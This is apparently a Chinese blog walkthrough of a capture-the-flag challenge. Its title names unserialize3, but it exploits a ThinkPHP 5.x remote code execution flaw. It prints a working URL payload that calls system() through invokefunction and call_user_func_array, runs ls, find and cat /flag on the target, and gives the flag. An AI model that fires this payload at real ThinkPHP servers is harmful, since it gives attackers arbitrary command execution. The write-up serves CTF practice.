CTF unserialize3

╰半夏微凉° 2022-12-10 10:29 135阅读 0赞

**题目场景：** [ http://220.249.52.133:52904][http_220.249.52.133_52904] （温馨提示：每次进入URL的端口号都不一样）

1、点击链接进入如下界面  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0hZRDY5Ng_size_16_color_FFFFFF_t_70_pic_center]

2、百度搜索：Thinkphp V5.x 远程代码执行漏洞-POC

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0hZRDY5Ng_size_16_color_FFFFFF_t_70_pic_center 1]  
https://www.0dayhack.com/public/index.php?s=/index//think/app/invokefunction&function=call\_user\_func\_array&vars\[0\]=system&vars\[1\]\[\]=ls%20-l

3、把“/index.php?s=/index//think/app/invokefunction&function=call\_user\_func\_array&vars\[0\]=system&vars\[1\]\[\]=ls%20-l”加在后面，然后URL为：http://220.249.52.133:52904/index.php?s=/index//think/app/invokefunction&function=call\_user\_func\_array&vars\[0\]=system&vars\[1\]\[\]=ls%20-l

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0hZRDY5Ng_size_16_color_FFFFFF_t_70_pic_center 2]

4、s=index/think\\App/invokeFunction&function=call\_user\_func\_array&vars\[0\]=system&vars\[1\]\[\]=dir

![在这里插入图片描述][20200925211313852.png_pic_center]  
5、dir—>find / -name “\*flag”

![在这里插入图片描述][20200925211511588.png_pic_center]  
5.1 回车

![在这里插入图片描述][20200925211541387.png_pic_center]  
6、find / -name “\*flag”—>cat /flag—>回车  
![在这里插入图片描述][20200925211647609.png_pic_center]

7、OK

flag\{thinkphp5\_rce\}

[http_220.249.52.133_52904]: http://220.249.52.133:52904
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0hZRDY5Ng_size_16_color_FFFFFF_t_70_pic_center]: /images/20221123/54955e978f9d438c80a818a9987ddd96.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0hZRDY5Ng_size_16_color_FFFFFF_t_70_pic_center 1]: /images/20221123/2c0e3eb81c794698b296d3a68079b1d4.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0hZRDY5Ng_size_16_color_FFFFFF_t_70_pic_center 2]: /images/20221123/1741f6bd04874557975e93d3e0f444d5.png
[20200925211313852.png_pic_center]: /images/20221123/e296c8e8e40044759ea28ee0e3503138.png
[20200925211511588.png_pic_center]: /images/20221123/685feb10e7f147ebb35b5b251552c546.png
[20200925211541387.png_pic_center]: /images/20221123/38909c24a31a4ec19fdd4696cbe1c738.png
[20200925211647609.png_pic_center]: /images/20221123/ac8537100c514f35967ea135083dc2c4.png